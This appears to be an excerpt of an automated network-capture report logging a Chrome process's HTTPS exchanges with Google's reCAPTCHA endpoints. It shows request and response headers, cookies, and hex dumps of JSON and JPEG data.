2024-03-15 12:57:46 UTC	696	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Fri, 15 Mar 2024 12:57:46 GMT Expires: Fri, 15 Mar 2024 12:57:46 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ;Path=/recaptcha;Expires=Wed, 11-Sep-2024 12:57:46 GMT;Secure;HttpOnly;Priority=HIGH;SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:57:46 UTC	556	IN	Data Raw: 32 33 34 0d 0a 29 5d 7d 27 0a 5b 22 72 72 65 73 70 22 2c 22 30 33 41 46 63 57 65 41 34 38 71 5f 39 6d 67 69 63 67 48 4d 72 65 4e 65 4e 58 35 77 38 37 65 50 30 43 4f 42 76 6d 68 6b 6d 63 74 63 30 4d 49 75 62 7a 4f 6c 35 58 67 33 6f 46 32 66 6c 42 68 4c 7a 77 71 36 47 76 4a 7a 62 59 34 5f 32 58 32 54 41 52 69 33 64 71 57 6d 6d 58 4d 6a 4d 38 51 76 6e 6a 69 37 72 6f 61 64 45 75 65 65 76 64 69 65 71 4a 57 45 55 43 6c 6d 6d 69 48 4d 71 44 54 4a 58 65 67 49 37 59 36 48 53 31 67 71 5f 4d 47 68 4f 52 4a 69 71 4d 66 72 53 6d 35 47 6c 39 42 4d 6e 56 53 64 64 37 5a 41 42 63 79 53 63 6e 44 4e 53 77 49 77 63 41 5f 57 4e 71 70 48 62 52 55 72 54 62 42 79 51 44 30 76 45 2d 4d 50 68 6e 6d 41 63 6b 70 30 72 6a 55 75 32 31 33 37 6b 7a 5a 35 33 49 61 43 49 76 5f 57 5f 54 70 Data Ascii: 234)]}'["rresp","03AFcWeA48q_9mgicgHMreNeNX5w87eP0COBvmhkmctc0MIubzOl5Xg3oF2flBhLzwq6GvJzbY4_2X2TARi3dqWmmXMjM8Qvnji7roadEueevdieqJWEUClmmiHMqDTJXegI7Y6HS1gq_MGhORJiqMfrSm5Gl9BMnVSdd7ZABcyScnDNSwIwcA_WNqpHbRUrTbByQD0vE-MPhnmAckp0rjUu2137kzZ53IaCIv_W_Tp
2024-03-15 12:57:46 UTC	15	IN	Data Raw: 42 53 34 41 4f 4f 78 78 4c 39 48 6a 52 0d 0a Data Ascii: BS4AOOxxL9HjR
2024-03-15 12:57:46 UTC	1252	IN	Data Raw: 61 34 30 0d 0a 36 67 4c 6c 62 59 48 7a 59 6e 59 64 73 4a 61 63 63 73 4b 30 2d 73 30 4e 41 65 35 7a 66 71 33 6e 63 74 50 66 70 48 35 67 72 76 71 76 69 51 67 61 38 5f 61 59 68 69 53 62 79 64 50 6e 6e 30 46 74 49 6e 48 50 50 47 7a 61 6d 74 56 48 49 62 4b 31 65 41 6e 62 65 73 6e 31 74 4e 76 30 6d 55 56 39 2d 72 46 79 79 77 57 53 69 65 34 58 61 78 6e 42 72 7a 69 45 54 71 42 77 71 45 73 62 35 64 2d 4f 61 4d 5a 68 59 59 79 35 54 6b 61 77 76 71 34 72 30 52 73 75 59 76 36 45 62 34 55 58 6b 7a 6d 4e 41 48 4b 35 66 71 6a 6c 6b 75 68 64 54 55 71 6e 65 38 47 44 46 44 50 69 67 58 4a 54 39 66 66 33 31 5f 62 4c 47 4e 66 57 6f 5a 68 57 64 5a 31 6a 4a 4a 30 43 69 42 33 48 33 4c 5a 36 62 39 44 39 50 44 6b 79 47 70 41 76 53 42 39 64 32 77 38 6f 39 42 78 50 4c 37 67 47 76 51 Data Ascii: a406gLlbYHzYnYdsJaccsK0-s0NAe5zfq3nctPfpH5grvqviQga8_aYhiSbydPnn0FtInHPPGzamtVHIbK1eAnbesn1tNv0mUV9-rFyywWSie4XaxnBrziETqBwqEsb5d-OaMZhYYy5Tkawvq4r0RsuYv6Eb4UXkzmNAHK5fqjlkuhdTUqne8GDFDPigXJT9ff31_bLGNfWoZhWdZ1jJJ0CiB3H3LZ6b9D9PDkyGpAvSB9d2w8o9BxPL7gGvQ
2024-03-15 12:57:46 UTC	1252	IN	Data Raw: 6c 33 6c 5a 6e 75 6c 7a 47 77 30 49 35 4d 59 4f 54 4e 37 75 69 50 47 69 6e 52 6f 67 70 42 30 35 58 35 75 67 43 4c 79 52 78 5f 73 7a 48 39 34 4f 37 76 30 41 45 39 30 52 6f 35 71 72 46 6a 4f 70 5a 36 65 70 4c 57 6d 78 63 47 53 4e 71 30 5f 65 4f 35 4f 75 6d 4d 37 73 44 31 41 4a 4d 54 59 72 43 4d 4a 33 63 35 57 36 7a 5f 61 6a 66 6e 6a 31 2d 69 49 32 30 53 30 42 5f 47 59 38 44 65 72 32 79 73 38 59 59 77 49 66 77 59 70 6b 53 6b 6b 6c 6c 35 7a 44 75 6b 66 73 57 4a 4c 50 61 51 53 6a 2d 33 57 53 48 36 6a 37 30 56 69 54 65 31 47 67 41 33 5f 34 67 6a 56 64 4c 71 47 66 36 72 41 58 66 42 6c 43 6b 68 31 31 50 47 4d 34 45 35 4b 73 39 34 6a 47 51 53 44 7a 49 65 54 57 42 6b 72 31 74 45 59 30 62 4e 41 2d 4c 68 6c 6f 42 79 33 55 31 6c 63 54 67 39 6d 61 78 39 39 42 68 63 63 Data Ascii: l3lZnulzGw0I5MYOTN7uiPGinRogpB05X5ugCLyRx_szH94O7v0AE90Ro5qrFjOpZ6epLWmxcGSNq0_eO5OumM7sD1AJMTYrCMJ3c5W6z_ajfnj1-iI20S0B_GY8Der2ys8YYwIfwYpkSkkll5zDukfsWJLPaQSj-3WSH6j70ViTe1GgA3_4gjVdLqGf6rAXfBlCkh11PGM4E5Ks94jGQSDzIeTWBkr1tEY0bNA-LhloBy3U1lcTg9max99Bhcc
2024-03-15 12:57:46 UTC	127	IN	Data Raw: 37 4e 69 62 67 55 6e 2d 36 68 6b 71 50 42 54 68 61 5a 4e 78 31 5a 42 61 6f 5f 59 76 6e 62 5f 52 76 37 78 36 35 51 53 2d 56 76 34 7a 77 66 6e 73 37 55 47 4e 44 67 53 43 63 5f 53 49 35 38 6f 52 35 6b 7a 59 79 6e 51 6f 53 31 68 32 6f 33 4c 77 76 5f 34 59 47 54 4e 2d 6e 30 61 47 59 4a 55 32 49 6a 47 33 4e 42 62 39 36 50 63 36 35 44 61 62 59 39 49 6a 78 6d 49 47 59 49 43 31 57 0d 0a Data Ascii: 7NibgUn-6hkqPBThaZNx1ZBao_Yvnb_Rv7x65QS-Vv4zwfns7UGNDgSCc_SI58oR5kzYynQoS1h2o3Lwv_4YGTN-n0aGYJU2IjG3NBb96Pc65DabY9IjxmIGYIC1W
2024-03-15 12:57:46 UTC	1252	IN	Data Raw: 31 35 38 61 0d 0a 5a 33 77 78 79 4f 78 63 30 37 74 56 71 4e 33 36 5f 66 4f 71 63 72 42 54 61 48 46 65 32 54 67 62 58 4e 33 6b 43 65 74 67 50 48 53 76 4a 45 56 33 6b 34 47 46 41 58 6f 78 32 79 79 32 47 72 74 42 56 35 4a 63 37 4e 38 66 69 74 41 74 4d 76 51 39 4b 2d 33 63 31 53 65 46 30 6c 73 69 6a 76 33 47 5f 4d 55 57 6f 53 4b 71 69 6c 51 44 78 50 71 77 76 45 6e 2d 30 36 68 65 52 76 4c 32 47 31 31 75 64 44 2d 73 78 69 78 42 33 57 4e 61 59 71 48 43 4d 65 45 4f 70 46 6d 65 34 66 48 6e 76 53 43 33 69 74 6b 6f 44 37 41 79 77 50 43 63 38 6b 33 76 71 66 64 47 54 57 34 2d 5a 36 6c 79 53 68 72 4f 4b 69 46 66 67 77 68 35 5a 6b 5a 65 68 30 6f 6b 38 6d 37 5f 2d 31 76 75 44 68 75 36 70 32 4f 62 56 32 69 6f 6b 6e 31 67 47 73 7a 4b 33 48 51 63 6f 42 56 62 46 38 5f 42 73 Data Ascii: 158aZ3wxyOxc07tVqN36_fOqcrBTaHFe2TgbXN3kCetgPHSvJEV3k4GFAXox2yy2GrtBV5Jc7N8fitAtMvQ9K-3c1SeF0lsijv3G_MUWoSKqilQDxPqwvEn-06heRvL2G11udD-sxixB3WNaYqHCMeEOpFme4fHnvSC3itkoD7AywPCc8k3vqfdGTW4-Z6lyShrOKiFfgwh5ZkZeh0ok8m7_-1vuDhu6p2ObV2iokn1gGszK3HQcoBVbF8_Bs
2024-03-15 12:57:46 UTC	1252	IN	Data Raw: 31 50 57 50 79 72 51 66 6a 43 58 44 66 58 38 39 49 62 55 56 39 77 34 47 57 44 43 52 46 38 48 48 59 72 41 46 4e 6d 34 56 51 65 71 37 59 42 49 38 31 32 68 4d 30 41 6b 79 72 63 51 58 77 61 47 35 47 76 39 72 6b 75 59 5a 41 43 58 57 52 54 38 42 2d 2d 4a 4e 30 70 31 66 69 4c 6f 71 36 4c 50 49 75 73 75 33 39 35 4b 73 4a 6d 6f 53 77 64 6e 75 55 53 44 32 74 37 54 4f 5f 61 68 55 58 79 32 7a 76 43 56 72 4f 67 4d 76 4d 49 4e 4e 47 4d 37 58 64 62 37 4d 73 70 43 59 71 31 31 68 55 42 4d 4b 69 64 65 74 45 43 75 63 51 4f 6e 75 36 63 76 63 4e 6a 6a 35 4c 43 42 73 7a 63 55 44 53 4c 6e 6e 71 69 66 6a 5f 6e 79 5f 74 74 58 67 51 61 31 6c 4a 66 7a 5a 35 6d 4b 70 33 53 4e 75 70 62 76 68 4f 52 54 6b 7a 45 65 31 45 34 4d 43 78 30 4c 4d 64 68 47 6c 4d 68 36 70 34 65 47 5f 39 52 4d Data Ascii: 1PWPyrQfjCXDfX89IbUV9w4GWDCRF8HHYrAFNm4VQeq7YBI812hM0AkyrcQXwaG5Gv9rkuYZACXWRT8B--JN0p1fiLoq6LPIusu395KsJmoSwdnuUSD2t7TO_ahUXy2zvCVrOgMvMINNGM7Xdb7MspCYq11hUBMKidetECucQOnu6cvcNjj5LCBszcUDSLnnqifj_ny_ttXgQa1lJfzZ5mKp3SNupbvhORTkzEe1E4MCx0LMdhGlMh6p4eG_9RM
2024-03-15 12:57:46 UTC	1252	IN	Data Raw: 62 56 6d 5a 62 67 50 2d 70 6c 4f 77 34 71 78 42 70 66 36 4e 48 4c 52 7a 5f 61 39 64 64 36 77 31 66 5f 76 6f 30 72 35 69 76 47 37 6d 39 37 76 6f 58 2d 7a 33 6a 79 74 62 72 55 56 55 6d 67 50 33 5a 6c 45 30 64 4f 66 6d 79 75 42 4f 6a 4b 56 52 49 33 55 5a 33 71 73 69 6b 75 37 6f 62 4a 66 61 4f 54 6b 69 66 72 52 66 70 66 78 4b 78 6f 54 56 52 31 32 30 55 49 70 4f 48 6d 6b 44 44 4e 52 31 49 56 77 58 35 50 48 33 45 37 74 73 6a 36 50 44 70 6d 67 4e 4f 6d 6d 53 64 64 39 78 53 70 4a 5a 45 5a 75 63 78 4e 69 52 4d 39 68 33 69 6c 45 46 39 4a 43 7a 76 41 56 79 46 49 67 42 67 22 2c 6e 75 6c 6c 2c 31 32 30 2c 5b 22 70 6d 65 74 61 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 2f 6d 2f 30 34 5f 73 76 22 2c 6e 75 6c 6c 2c 32 2c 34 2c 34 5d 2c Data Ascii: bVmZbgP-plOw4qxBpf6NHLRz_a9dd6w1f_vo0r5ivG7m97voX-z3jytbrUVUmgP3ZlE0dOfmyuBOjKVRI3UZ3qsiku7obJfaOTkifrRfpfxKxoTVR120UIpOHmkDDNR1IVwX5PH3E7tsj6PDpmgNOmmSdd9xSpJZEZucxNiRM9h3ilEF9JCzvAVyFIgBg",null,120,["pmeta",null,null,null,null,[[["/m/04_sv",null,2,4,4],
2024-03-15 12:57:46 UTC	1252	IN	Data Raw: 34 64 55 46 72 4d 6a 6c 56 54 55 64 30 63 47 31 78 65 54 45 72 57 54 51 30 54 54 4a 74 56 6c 6c 6f 55 32 78 34 61 44 42 7a 63 44 4a 4b 4b 7a 45 76 64 6d 78 6c 54 32 46 75 53 6d 46 75 5a 45 77 76 63 6b 56 73 51 6e 42 35 4d 46 6c 76 53 48 4a 32 57 6e 59 33 4d 6b 67 78 62 6a 4e 74 56 6c 4e 52 4f 56 5a 6b 5a 54 63 7a 65 54 52 57 57 6c 49 34 61 54 63 30 53 57 68 79 57 56 6c 75 54 57 56 58 63 48 46 45 54 6a 52 70 65 48 46 4a 59 55 5a 73 4d 30 64 54 63 47 34 30 64 6d 77 31 63 7a 64 42 57 46 6f 78 59 56 4e 34 63 30 68 33 61 6b 5a 4c 61 45 68 44 63 6c 52 46 63 47 39 76 53 47 4e 75 56 6b 46 6e 59 53 73 34 64 6c 46 76 53 47 4d 34 65 6c 42 34 53 6d 64 7a 62 32 35 4f 55 6a 63 32 52 6a 64 4b 64 56 6c 69 59 31 46 30 52 46 4e 61 57 45 56 55 51 53 39 4b 4d 47 59 7a 4f 47 Data Ascii: 4dUFrMjlVTUd0cG1xeTErWTQ0TTJtVlloU2x4aDBzcDJKKzEvdmxlT2FuSmFuZEwvckVsQnB5MFlvSHJ2WnY3MkgxbjNtVlNROVZkZTczeTRWWlI4aTc0SWhyWVluTWVXcHFETjRpeHFJYUZsM0dTcG40dmw1czdBWFoxYVN4c0h3akZLaEhDclRFcG9vSGNuVkFnYSs4dlFvSGM4elB4Smdzb25OUjc2RjdKdVliY1F0RFNaWEVUQS9KMGYzOG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49731	142.250.80.36	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:46 UTC	791	OUT	GET /recaptcha/api2/reload?k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCLnKzQEIitPNAQjB1M0BCLrYzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:47 UTC	518	IN	HTTP/1.1 405 HTTP method GET is not supported by this URL Content-Type: text/html; charset=UTF-8 Date: Fri, 15 Mar 2024 12:57:47 GMT Expires: Fri, 15 Mar 2024 12:57:47 GMT Cache-Control: private, max-age=0 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-03-15 12:57:47 UTC	217	IN	Data Raw: 64 33 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 48 54 54 50 20 6d 65 74 68 6f 64 20 47 45 54 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 20 62 79 20 74 68 69 73 20 55 52 4c 3c 2f 48 31 3e 0a 3c 48 32 3e 45 72 72 6f 72 20 34 30 35 3c 2f 48 32 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 0d 0a Data Ascii: d3<HTML><HEAD><TITLE>HTTP method GET is not supported by this URL</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>HTTP method GET is not supported by this URL</H1><H2>Error 405</H2></BODY></HTML>
2024-03-15 12:57:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.17	49735	142.250.65.164	443	6220	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-15 12:57:46 UTC	1423	OUT	GET /recaptcha/api2/payload?p=06AFcWeA5e-va39F3VfbbSi0oottIg7ALlUDZb-nWwVX1-unQSuzFdKkA8yRqHnNqEBBnJoUfel3lJWlGL6UqRrnl-XaGVrxZtdN4xwznjD5t4FYX8Qa5d8b7bqYbtsJzJaNpYo6dV0hAJxLq1umrkqdrEO38PvgeW_BjrVXuD7_yWHYVbGHdeIkpvf7X_IAdl8hzhcTFabA6ze8v_n5WmmZcTZRtqU1EYWA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJC2yQEIprbJAQipncoBCLf3ygEIlqHLAQiFoM0BCNy9zQEIksrNAQi5ys0BCLbLzQEI6dLNAQiK080BCMHUzQEIz9bNAQjj1s0BCI7XzQEIp9jNAQi62M0BCPnA1BUYuL/NARj2yc0BGOuNpRc= Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.google.com/recaptcha/api2/bframe?hl=en&v=07g0mpPGukTo20VqKa8GbTSw&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _GRECAPTCHA=09ANeNL0QEMEzo5QBM1E_3j3VUfv8QK1_-jo1qLF-6Y6i5fj0WNNPfF49xwKDYO1D1PeBU0u0xUNQq4HeGwyPsFpQ; NID=511=X9Z9GC2VZ5PTUFlYUNdhKnJP24TRGpGqZqKFL9Pw-Ezk_duysZ_VzzYNGWyHcs80O3scFIEGWC4ejePhlgeAzI7DW28lCxtFqnZqwLPsW3aG59Guvp647PtH9EGoiqhxBjO7Es0rJ7PDVhdGCfedVrlCik0Vmojg2gUg6Tqi0JI
2024-03-15 12:57:47 UTC	419	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Expires: Fri, 15 Mar 2024 12:57:47 GMT Date: Fri, 15 Mar 2024 12:57:47 GMT Cache-Control: private, max-age=30 Transfer-Encoding: chunked X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-15 12:57:47 UTC	6	IN	Data Raw: 38 36 31 31 0d 0a Data Ascii: 8611
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0a 0b 09 0c 11 0f 12 12 11 0f 11 10 13 16 1c 17 13 14 1a 15 10 11 18 21 18 1a 1c 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c0 00 11 08 01 c2 01 c2 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 Data Ascii: JFIFC!"$"$C"}!1AQa"q2
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: b7 0c e7 68 ae b3 5a f8 2f ad 59 19 a3 59 62 91 d3 df 35 c5 5e e9 ba ce 83 ab 8d 32 45 62 ef d1 4a e4 56 b4 eb 29 ab 13 3a 49 4a e4 af e2 29 86 cf f4 63 bd fa 85 15 2d fe b5 f6 58 e3 69 e3 c1 7e 42 d6 8d c6 87 ab 59 e9 e2 fd ec 56 3d fc 21 61 ce 7e 95 9d ad 78 33 c4 9e 4c 37 d7 76 e4 f9 c3 72 fb 0a 6d ab 94 a3 65 cc cc 4b ef 12 df 49 37 99 08 d8 bd 96 ba 7f 87 d7 33 6a f7 0f f6 a1 90 3a 8a e5 c7 85 35 a6 91 55 21 62 dd 7a 57 69 f0 d2 c2 e6 c6 ee 68 ae 40 49 57 a8 23 14 f9 ad a1 9c db e8 74 3a de 8b 12 69 ef 22 17 1c f4 5a e3 6e db ca 9c ab 02 bc 77 af 4d ea 0a b0 60 09 ef d2 bc df e2 3a 49 05 e8 68 80 da dd 71 58 5f 95 d9 95 1f 79 5c af 08 96 4f 96 35 2e 3d ab 97 f1 5d 8c 96 d7 a2 47 fe 31 d2 bb 9f 87 ac 16 29 e4 70 09 03 8c 8c d7 33 f1 12 44 97 54 52 33 Data Ascii: hZ/YYb5^2EbJV):IJ)c-Xi~BYV=!a~x3L7vrmeKI73j:5U!bzWih@IW#t:i"ZnwM`:IhqX_y\O5.=]G1)p3DTR3
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: df b9 b7 dd b4 ee 3d 6a 78 35 bd 1b 41 b4 87 4c bb b3 13 46 33 90 07 5a e3 a9 53 53 a7 09 4a 50 f7 a4 71 d1 db 88 e5 48 be c8 ad 24 88 5d 8a b7 dd 22 b9 78 2f 2e 7f b6 84 da 9d b7 d9 a0 0d 84 67 fe 2f a5 7a a9 f1 17 86 60 91 6e 61 d3 21 12 03 80 0f a1 f5 ac 1f 15 6a 7e 1e d6 e6 0a da 74 1b d4 60 38 38 03 e9 5c cb 11 28 b3 aa 54 22 df 31 1d f6 a9 66 ba 73 15 95 40 78 fe 51 eb 5c 06 a9 79 14 d1 88 d5 d4 b2 e4 90 0f 3f 5a d7 d4 af 34 d9 ad 13 4a b6 55 86 45 e3 cd 06 b9 6b 8b 3b 5b 16 95 ae 0c 8b 21 1c 38 e8 d5 bd 3c 42 bd cc aa 53 8a d9 9b 16 d1 c9 7b ad e8 70 44 9f 30 95 72 7d ab eb af 19 6a b6 fa 37 c3 68 ad 45 c2 a4 93 22 c2 9f 30 dc 49 eb d2 be 27 bd d4 af 2d a4 b3 9a ca 66 8d d5 72 8d ef 5d d6 87 ab 6a 1a d4 16 c3 53 d4 66 7d b2 ae d0 cd 9e 6b 5f 6b 79 Data Ascii: =jx5ALF3ZSSJPqH$]"x/.g/z`na!j~t`88\(T"1fs@xQ\y?Z4JUEk;[!8<BS{pD0r}j7hE"0I'-fr]jSf}k_ky
2024-03-15 12:57:47 UTC	342	IN	Data Raw: e4 a1 71 c9 1c 01 ef 5a 4e f7 73 5c 0b e9 27 69 a4 76 cb 37 bd 77 1e 18 f0 dd de b5 3c 46 e0 89 6d 1c 8c 91 ce 2b 48 d3 b2 3a 16 d7 33 ef 7c 31 6d 70 b8 d2 ed c5 e2 ec 1b e5 51 f7 4d 56 7d 0a 4b 78 5a 31 65 71 e7 44 32 40 07 15 e8 3f f0 8b 6a be 1f d4 44 d0 de ed b0 3d 51 46 38 f7 ab 57 73 de 5c ed 82 2e 87 ef 3e 39 3f 5a c5 d9 32 d5 da 3c 2b 5f b9 98 be 59 b6 76 23 1f 76 a9 21 69 8c 71 24 a5 9c 8c 02 3b d7 5b e3 fd 1a 38 af e4 87 18 e3 71 38 eb 58 1a 66 98 eb 03 c9 1a b7 9b 80 b1 f1 d0 d7 54 57 32 bb 30 9c 1b 96 a6 66 ab 6f 25 9c a1 27 e5 b1 9e 4d 26 9b 2f da 2e ed e1 8c 02 ec fc 0f 4a da f8 83 a5 5c e9 5a 65 8c 97 a3 7c f3 00 49 35 9b e0 a6 68 2f da ea 6b 41 2a c7 82 36 f3 8a cf da 26 8b ab 4d 5a c9 1e cf 6b a3 6b 22 da 20 2d 2d c8 08 3b 0f 4a 2b 95 3f Data Ascii: qZNs\'iv7w<Fm+H:3\|1mpQMV}KxZ1eqD2@?jD=QF8Ws\.>9?Z2<+_Yv#v!iq$;[8q8XfTW20fo%'M&/.J\Ze\|I5h/kA*6&MZkk" --;J+?
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: e9 ca e4 83 d3 e5 e9 5e be 31 b8 a5 63 5f 66 e7 2b 23 87 b7 68 2c ad 26 5b 0b e1 6a 8b f3 80 a7 af 35 8d f0 eb 52 d3 af 3c 7d 77 a8 78 8a 09 24 81 97 69 71 fc 55 e7 1e 19 d3 3c 41 ab 5d 48 d0 7d b6 e6 24 c9 29 18 ce 40 35 ef 5f 0b b4 bd 3f 50 d3 65 49 ed 51 24 b6 5c 48 08 e7 3e f5 c9 51 ca 11 bb 3a 29 61 e3 67 17 b9 e7 5e 35 8f 47 b2 f1 83 4b a2 4e 5e da 47 dc 07 74 f6 a3 51 8c dd bc 72 18 de 5f 97 a9 15 db ea 3a 47 85 bc 3f e2 98 35 2d 59 0b 59 2e 5e 48 f1 c5 69 e9 fa 9f 85 7c 51 e2 9b 69 f4 f9 21 b1 d2 50 61 89 00 06 ae 75 29 54 5e e9 53 b2 95 9e c7 8e 6a 4f e4 d8 c9 11 81 56 4d dd 4d 73 57 b7 e2 d3 4d 53 0c 21 e5 57 c9 38 eb 5f 4f 6a 5e 10 f0 d6 b3 e2 03 a7 e9 c9 15 cc 4c bf 33 03 9d a7 d7 35 87 e2 7f 84 9a 46 9b 3a 40 d3 6f 57 e5 40 51 d6 a6 54 e4 89 Data Ascii: ^1c_f+#h,&[j5R<}wx$iqU<A]H}$)@5_?PeIQ$\H>Q:)ag^5GKN^GtQr_:G?5-YY.^Hi\|Qi!Pau)T^SjOVMMsWMS!W8_Oj^L35F:@oW@QT
2024-03-15 12:57:47 UTC	1252	IN	Data Raw: 8f 7c 57 92 69 97 12 32 38 23 3c 77 ab 76 37 4b 39 f2 cb 7c d9 c5 65 ec d2 34 53 5c a7 a0 ea ba fc fe 20 90 5e cb 10 88 f4 db 8e b4 68 3e 28 1e 1f bd 69 6e 2c 23 ba 8d d7 18 6f e1 c5 72 f1 5f cb 02 aa 18 b7 80 70 a4 d5 5d 42 66 9e 62 ce bb 49 1d 2a 93 b2 b1 8b 5c cc ea be 20 f8 a9 3c 59 65 6f 1a 58 88 7c 93 92 7d ab 3f 40 d5 2d 74 a8 08 b8 8b ce 89 fa 00 39 ac 7d 38 41 25 dc 30 dc cd e4 c5 23 05 69 0f f0 8a d2 f1 85 95 8d 95 f2 ae 8d 7d f6 cb 68 50 17 6c 70 4d 44 a9 24 b4 13 aa d4 ac 89 24 f1 2d 89 91 88 b0 38 24 f6 a2 b9 53 a8 1c fd da 2a 3d 89 a7 32 3e a5 fd 90 a1 76 f1 a3 38 66 d8 b6 e7 81 d0 57 ae f8 fb 51 11 6b 1e 24 87 6e df 3b 4f 58 83 67 af 1c d7 13 e0 3d 5b c2 be 10 d4 86 a1 a5 ab 06 64 da e8 4f 04 56 86 ad ae e8 3a d5 e5 d5 cd cb ba fd a4 74 1f Data Ascii: \|Wi28#<wv7K9\|e4S\ ^h>(in,#or_p]BfbI\ <YeoX\|}?@-t9}8A%0#i}hPlpMD$$-8$S=2>v8fWQk$n;OXg=[dOV:t
